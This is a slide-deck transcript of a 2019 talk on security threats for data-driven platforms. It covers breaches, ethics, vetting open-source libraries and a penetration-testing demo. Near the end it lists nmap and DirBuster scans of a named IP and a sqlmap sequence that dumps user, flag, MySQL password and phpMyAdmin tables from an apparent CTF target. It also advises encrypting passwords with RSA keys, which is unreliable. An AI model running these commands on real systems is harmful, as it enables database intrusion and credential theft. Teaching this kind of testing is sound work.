Demystify Information Security & Threats for Data-Driven Platforms With Chetan Khatri

Demystify Information Security & Threats for
Data-Driven Platforms
Chetan Khatri
Solution Architect - Data & ML.
Accionlabs Inc.
18th Oct, 2019

Who Am I?
Professional Career:
● 2016 - Present. - Technical Lead / Solution Architect - Data & ML.
● 2015 - 2016 - Principal Big Data Engineer, Lead - Data Science Practice.
● 2014 - 2016 - Developer - Data Platforms.
● 2012 - 2014 - Consultant - Product developments.
University: Master of Computer Science.
Data Warehousing, Data Mining, Information Security / Cryptography, Reverse
Engineering, Information Retrieval.

Agenda
● Motivation
● Information Security - Ethics.
● Encryption
● Authentication
● Information Security & Potential threats with Open Source World.
● Find vulnerabilities.
● Checklist before using any Open Source library.
● Vulnerabilities report.
● Penetration Testing for Data Driven Developments.

Information Security - Motivation
Why Information Security is important?

Source:
https://www.huffingtonpost.in/2018/07/06/hackers-have-ac
cessed-email-ids-phone-numbers-of-over-5-million-yatra-u
sers_a_23475885/

Source:
https://techcrunch.com/2019/01/30/state-b
ank-india-data-leak/

Source:
https://economictimes.indiatimes.com/smal
l-biz/security-tech/security/zomato-hacked-
security-breach-results-in-17-million-user-d
ata-stolen/articleshow/58729251.cms

Source:
https://www.forbes.com/sites/zakdoffman/2
019/07/09/warning-as-millions-of-zoom-us
ers-risk-webcam-hijack-change-your-settin
gs-now/#281cb40642d9

Source:
https://www.zdnet.com/article/another-data-leak-hits-indi
a-aadhaar-biometric-database/

Information Security - Ethics.
● Information Storage - What, Which form, Access to whom?
● Information Usage - Where, How, Which form?
● Responsibility - Ownership, usage?
● Confidentiality
● Authentication
● Governance - Regulators, Guidelines, Damage?
● Freedom vs Force
● Damage to the Society.
● Impact on humanity.
● Data Breach and Cost.

Freedom vs Force
Source:
https://en.wikipedia.org/wiki/Facebook%E2%80%93Cambridge_Analytica_data_scandal

Freedom vs Force
Source:
https://www.cnbc.com/2018/04/10/facebook-cambridge-anal
ytica-a-timeline-of-the-data-hijacking-scandal.html
Source:
https://www.engadget.com/2019/07/24/facebook-will-pay-5-b
illion-fine-for-cambridge-analytica-data-b/

Data Monetization against ethics
Source:
https://techcrunch.com/2019/03/22/facebook-staff-raised-concerns-
about-cambridge-analytica-in-september-2015-per-court-filing/
Source:
https://www.theguardian.com/news/2018/mar/17/cambridge-analyti
ca-facebook-influence-us-election

Encryption
How many people have seen Password in Plain Text at Database?
80%??
90%??
Yes, Sad but True.
Source:
https://www.digitaltrends.com/news/equifax-data-breach-class-action-lawsuit-hack
-password/

Encryption
How many people have seen Password in Plain Text at Database?
80%??
90%??
Yes, Sad but True.
Never ever store password of the application in Plain-text.
Encrypt it. Use Asymmetric Key Encryption
If RSA, use ssh-keygen -t rsa -b 4096

Authentication
Open IP
Open Ports
Default Username and Password for Database, Services etc.
Chmod 777 for all directories, files ! Lol ;p

Information Security & Potential threats
with Open Source World.

Information Security & Potential threats with Open
Source World.
How many of you use Open Source ?

Security for Open Source world
How well do you know what is inside your project?

Security for Open Source world
Known Good Development practices.
Community Supported Open Source Code.
v/s
Random Code found on the Internet.

Vulnerability in Open Source
Source:
https://synopsys.com/content/dam/synopsys/sig-assets/repo
rts/2018-ossra.pdf

How Do I Choose GOOD Open Source

How do I choose SECURE open source packages?

How do I choose SECURE open source packages?
Have a look
First look

Key questions for a first look?
● Read the README.md or any other readily accessible introductory
information?
● Does code seem to be held with good software development standards?
● Does this code develop for professional purposes or hobby projects?
● Any signs for known issues in the code?
● Does this code only solve one use case or is it robust enough for other use
cases?
● Is this code active or an archive, “abandoned”?
Look for warning signs...

Even an author says - to use something else!
Source:
https://code.google.com/archive/p/c
rypto-js/

Build by an unauthorized person
Source:
https://metacpan.org/release/Tivoli-
AccessManager-Admin

I did not write this code, but I like it.
Source:
https://github.com/kbranigan/cJSON

Not maintained anymore … Archived!
Source:
https://code.google.com/archive/p/crypto-js/

Dumbest library - An author!
Source:
https://github.com/kbranigan/cJSON/commit/730
209a718cc9bada631cea136d13017752720f5

It is slower and more subjective to side-channel
attacks by nature.
Source:
http://www.literatecode.com/aes256

What to watch before using any
package/library?

Key Questions for each Open Source Library
Do only 1-2 Collaborators exist? Chances are
more to have unreviewed, harmful code.
Code merged to master branch is been reviewed
with PR?
How many issues are OPEN?
Validate that OPEN issues are being addressed?
Is that code maintained or abandon?
Are issues getting fixed and released promptly?

Key Questions for each Open Source Library
Check recently active committers and
commit? To understand how old is the
project.
Check how they handle vulnerabilities and
security.
How you can report security
vulnerabilities?
Check open security bugs/issues?
Good example: Apache Community.
https://www.apache.org/security/

No known vulnerabilities doesn’t mean SECURITY!
1101 new vulnerabilities
reported only in Oct,
2019.
Source:
https://nvd.nist.gov/vuln/full-l
isting/2019/10

Vulnerabilities report
we are going far worse!
Source:
https://www.cvedetails.com/brows
e-by-date.php

Penetration Testing
{Network, Database}

Check number of OPEN services and ports
sudo nmap -p-
-sS -A
IP-Address

Server Files / Directories Scan on permission and
Access
java -jar DirBuster-0.12.jar -H -u
http://167.71.224.201:1337
httrack website copier

Subgraph Vega
● Vega is a free and open source web security scanner and web security testing
platform to test the security of web applications.
● SQL Injection
● XSS
● Inadvertently disclosed sensitive information
● Reﬂected cross-site scripting
● Stored cross-site scripting
● Blind SQL injection
● Remote ﬁle include
● Shell injection
● TLS / SSL security settings

Vega - Start scanning Web application

Security Scanning alert summary

Web Application - Tracing web request payload at Proxy

Web Application - Intercepting the response callback at Proxy

SqlMap - A penetration testing tool for exploiting SQL
injection flaws and a lot!
● Database ﬁngerprinting.
● Full Support for SQL Injection techniques: boolean-based blind, time-based blind, error-based, UNION query-based,
stacked queries and out-of-band.
● Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
● dump database tables entirely.
● Out of Box Search support for Database names, Table names, Column names and values.
● Support to execute arbitrary commands and retrieve their standard output.
● Support to establish an out-of-band stateful TCP connection between the attacker machine and the database
server.

Demo - Penetration testing a Web Application using SQLMap

SQLMap - Commands
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf --tables
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf --tables user_profile
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf --tables
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T user_profile --columns
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T user_profile -C Email, Mobile, Name --dump
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T ctf --columns
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T flag
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T flag --columns
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T flag -C Flag1
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T flag --columns
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T flag -C Flag1
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T flag -C Flag1 --dump
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D mysql
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D mysql --tables
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D mysql -T users --columns
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D mysql -T user --columns
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D mysql -T user -C User, Password
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D mysql -T user -C User, Password
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D mysql -T user -C User, Password --dump
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D test
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D test --columns
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D test --tables
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D phpmyadmin --tables
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D phpmyadmin -T pma__users --columns
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D phpmyadmin -T pma__users --columns --dump
https://gist.github.com/chetkhatri/45b76d3f2d1da1d798d86a
8709f33ac5

Thank you!
Chetan Khatri, chetan.khatri@live.com
@khatri_chetan - https://twitter.com/khatri_chetan
https://github.com/chetkhatri

Demystify Information Security & Threats for Data-Driven Platforms With Chetan Khatri

Recommended

More Related Content

What's hot (19)

Similar to Demystify Information Security & Threats for Data-Driven Platforms With Chetan Khatri (20)

More from Chetan Khatri (20)

Recently uploaded (20)

Demystify Information Security & Threats for Data-Driven Platforms With Chetan Khatri